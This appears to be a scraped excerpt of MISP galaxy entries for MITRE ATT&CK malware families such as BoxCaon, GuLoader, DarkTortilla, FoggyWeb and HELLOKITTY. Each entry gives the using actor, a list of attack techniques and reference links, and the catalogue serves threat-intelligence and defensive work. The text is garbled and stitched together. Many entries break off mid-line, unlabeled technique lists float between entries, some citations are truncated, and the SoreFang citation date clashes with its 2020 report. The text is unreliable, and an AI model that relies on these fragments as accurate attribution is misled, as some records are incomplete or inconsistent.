• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010" with
BoxCaon - S0651

[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)

The tag is: *misp-galaxy:mitre-malware="BoxCaon - S0651"*

BoxCaon - S0651 is also known as:

- BoxCaon

View relationships graph

BoxCaon - S0651 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
SoreFang - S0516

[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware. (Citation: NCSC APT29 July 2020) (Citation: CISA SoreFang July 2016)

The tag is: `misp-galaxy:mitre-malware="SoreFang - S0516"`

SoreFang - S0516 is also known as:

- SoreFang

View relationships graph

SoreFang - S0516 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
Table 6900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0516">https://attack.mitre.org/software/S0516</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a</a></td>
</tr>
</tbody>
</table>

**KOMPROGO - S0156**

[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="KOMPROGO - S0156"*

KOMPROGO - S0156 is also known as:

- KOMPROGO

View relationships graph

KOMPROGO - S0156 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
**GuLoader - S0561**

[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)

The tag is: **misp-galaxy:mitre-malware="GuLoader - S0561"**

GuLoader - S0561 is also known as:

- GuLoader

View relationships graph

GuLoader - S0561 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
OSInfo - S0165

[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim’s computer and network. (Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-malware="OSInfo - S0165"*

OSInfo - S0165 is also known as:

- OSInfo

View relationships graph

OSInfo - S0165 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-
TianySpy - S1056

[TianySpy](https://attack.mitre.org/software/S1056) is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. [TianySpy](https://attack.mitre.org/software/S1056) is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.(Citation: trendmicro_tianyspy_0122)

The tag is: `misp-galaxy:mitre-malware="TianySpy - S1056"`

TianySpy - S1056 is also known as:

- TianySpy

**View relationships graph**

TianySpy - S1056 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1623"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

KOPILUWAK - S1075

[KOPILUWAK](https://attack.mitre.org/software/S1075) is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.(Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: `misp-galaxy:mitre-malware="KOPILUWAK - S1075"

KOPILUWAK - S1075 is also known as:

- KOPILUWAK

View relationships graph

KOPILUWAK - S1075 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
SOUNDBITE - S0157

[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware*="SOUNDBITE - S0157"

SOUNDBITE - S0157 is also known as:

- SOUNDBITE

View relationships graph

SOUNDBITE - S0157 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:malpedia*="SOUNDBITE" with estimative-language:likelihood-probability="likely"

Pillowmint - S0517

[Pillowmint](https://attack.mitre.org/software/S0517) is a point-of-sale malware used by [FIN7](https://attack.mitre.org/groups/G0046) designed to capture credit card information.
The tag is: misp-galaxy:mitre-malware="Pillowmint - S0517"

Pillowmint - S0517 is also known as:

- Pillowmint

View relationships graph

Pillowmint - S0517 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
SEASHARPEE - S0185

[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)

The tag is: *misp-galaxy:mitre-malware*="SEASHARPEE - S0185"

SEASHARPEE - S0185 is also known as:

- SEASHARPEE

View relationships graph

SEASHARPEE - S0185 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="Timestomp - T1070.006" with *estimative-language:likelihood-probability*="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*="Web Shell - T1505.003" with *estimative-language:likelihood-probability*="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*="Windows Command Shell - T1059.003" with *estimative-language:likelihood-probability*="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*="Ingress Tool Transfer - T1105" with *estimative-language:likelihood-probability*="almost-certain"

### Table 6908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0185">https://attack.mitre.org/software/S0185</a></td>
</tr>
</tbody>
</table>

PHOREAL - S0158

[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware*="PHOREAL - S0158"

PHOREAL - S0158 is also known as:

- PHOREAL

View relationships graph

PHOREAL - S0158 has relationships with:
Table 6909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0158">https://attack.mitre.org/software/S0158</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html">https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html</a></td>
</tr>
</tbody>
</table>

**PolyglotDuke - S0518**

[PolyglotDuke](https://attack.mitre.org/software/S0518) is a downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2013. [PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)

The tag is: **misp-galaxy:mitre-malware="PolyglotDuke - S0518"**

PolyglotDuke - S0518 is also known as:

- PolyglotDuke

**View relationships graph**

PolyglotDuke - S0518 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"**
Prestige - S1058

[Prestige](https://attack.mitre.org/software/S1058) ransomware has been used by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.(Citation: Microsoft Prestige ransomware October 2022)

The tag is: `misp-galaxy:mitre-malware="Prestige - S1058"`

Prestige - S1058 is also known as:

- Prestige

View relationships graph

Prestige - S1058 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
Sardonic - S1085

[Sardonic](https://attack.mitre.org/software/S1085) is a backdoor written in C and C++ that is known to be used by [FIN8](https://attack.mitre.org/groups/G0061), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)

The tag is: `misp-galaxy:mitre-malware="Sardonic - S1085"`

Sardonic - S1085 is also known as:

- Sardonic

View relationships graph

Sardonic - S1085 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"`
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6912. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1085">https://attack.mitre.org/software/S1085</a></td>
</tr>
</tbody>
</table>

3904
SNUGRIDE - S0159

[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware*="SNUGRIDE - S0159"

SNUGRIDE - S0159 is also known as:

- SNUGRIDE

View relationships graph

SNUGRIDE - S0159 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="Symmetric Cryptography - T1573.001" with *estimative-language:likelihood-probability*="almost-certain"
- similar: *misp-galaxy:tool*="SNUGRIDE" with *estimative-language:likelihood-probability*="likely"
- uses: *misp-galaxy:mitre-attack-pattern*="Registry Run Keys / Startup Folder - T1547.001" with *estimative-language:likelihood-probability*="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Windows Command Shell - T1059.003" with *estimative-language:likelihood-probability*="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Web Protocols - T1071.001" with *estimative-language:likelihood-probability*="almost-certain"

Table 6913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0159">https://attack.mitre.org/software/S0159</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html">https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html</a></td>
</tr>
</tbody>
</table>

metaMain - S1059

[metaMain](https://attack.mitre.org/software/S1059) is a backdoor used by [Metador](https://attack.mitre.org/groups/G1013) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://attack.mitre.org/software/S1060) into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)

The tag is: *misp-galaxy:mitre-malware*="metaMain - S1059"

metaMain - S1059 is also known as:

- metaMain

View relationships graph
metaMain - S1059 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
DEATHRANSOM - S0616

[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)

The tag is: `misp-galaxy:mitre-malware="DEATHRANSOM - S0616"`

DEATHRANSOM - S0616 is also known as:

- DEATHRANSOM

View relationships graph

DEATHRANSOM - S0616 has relationships with:

RemoteCMD - S0166

[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)

The tag is: `misp-galaxy:mitre-malware="RemoteCMD - S0166"`

RemoteCMD - S0166 is also known as:

- RemoteCMD

View relationships graph

RemoteCMD - S0166 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002"` with estimative-
DarkTortilla - S1066

[DarkTortilla](https://attack.mitre.org/software/S1066) is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. [DarkTortilla](https://attack.mitre.org/software/S1066) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)

The tag is: *misp-galaxy:mitre-malware="DarkTortilla - S1066"

DarkTortilla - S1066 is also known as:

- DarkTortilla

View relationships graph

DarkTortilla - S1066 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"* with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 6917. Table References
FoggyWeb - S0661

[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)

The tag is: `misp-galaxy:mitre-malware="FoggyWeb - S0661"`

FoggyWeb - S0661 is also known as:

- FoggyWeb

View relationships graph

FoggyWeb - S0661 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
QUIETCANARY - S1076

[QUIETCANARY](https://attack.mitre.org/software/S1076) is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks. (Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: *misp-galaxy:mitre-malware="QUIETCANARY - S1076"*

QUIETCANARY - S1076 is also known as:

- QUIETCANARY
- Tunnus

View relationships graph

QUIETCANARY - S1076 has relationships with:
Table 6919. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1076">https://attack.mitre.org/software/S1076</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/turla-galaxy-opportunity">https://www.mandiant.com/resources/blog/turla-galaxy-opportunity</a></td>
</tr>
</tbody>
</table>

**FluBot - S1067**

[FluBot](https://attack.mitre.org/software/S1067) is a multi-purpose mobile banking malware that was first observed in Spain in late 2020. It primarily spread through European countries using a variety of SMS phishing messages in multiple languages. (Citation: proofpoint_flubot_0421) (Citation: bitdefender_flubot_0524)

The tag is: `misp-galaxy:mitre-malware="FluBot - S1067"`

FluBot - S1067 is also known as:

- FluBot

View relationships graph

FluBot - S1067 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001"` with estimative-
Table 6920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1067">https://attack.mitre.org/software/S1067</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreadin...through-europe-may-hit-us-soon">https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreadin...through-europe-may-hit-us-soon</a></td>
</tr>
</tbody>
</table>

HELLOKITTY - S0617

[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation:
The tag is: `misp-galaxy:mitre-malware="HELLOKITTY - S0617"`

HELLOKITTY - S0617 is also known as:

- HELLOKITTY

View relationships graph

HELLOKITTY - S0617 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0617">https://attack.mitre.org/software/S0617</a></td>
</tr>
</tbody>
</table>

**Matryoshka - S0167**

[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: `misp-galaxy:mitre-malware="Matryoshka - S0167"`

Matryoshka - S0167 is also known as:

- Matryoshka

View relationships graph
Matryoshka - S0167 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
